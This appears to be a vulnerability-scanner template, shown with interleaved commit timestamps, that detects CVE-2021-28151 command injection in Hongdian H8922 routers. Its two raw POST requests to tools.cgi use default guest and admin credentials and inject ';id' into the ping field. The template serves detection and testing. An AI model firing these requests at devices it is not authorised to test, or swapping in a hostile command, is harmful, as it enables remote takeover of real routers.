2021-07-10 12:16:35 +00:00
id : CVE-2021-28151
info :
name : Hongdian Command Injection
author : gy741
severity : high
description : |
Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest.
2021-08-18 11:37:49 +00:00
reference :
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
2021-07-10 12:16:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
2022-05-17 09:18:12 +00:00
- http://en.hongdian.com/Products/Details/H8922
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-28151
cwe-id : CWE-78
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,hongdian,rce,injection
2021-07-10 12:16:35 +00:00
requests :
- raw :
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
Origin : {{BaseURL}}
2021-09-08 12:17:19 +00:00
Referer : {{BaseURL}}/tools.cgi
2021-07-10 12:16:35 +00:00
op_type=ping&destination=%3Bid
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
Origin : {{BaseURL}}
2021-09-08 12:17:19 +00:00
Referer : {{BaseURL}}/tools.cgi
2021-07-10 12:16:35 +00:00
op_type=ping&destination=%3Bid
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "text/html"
part : header
- type : word
words :
- "uid="
2021-07-10 13:15:09 +00:00
- "gid="
2021-08-04 06:40:24 +00:00
- "groups="
2021-07-10 12:16:35 +00:00
part : body
2021-07-10 13:15:09 +00:00
condition : and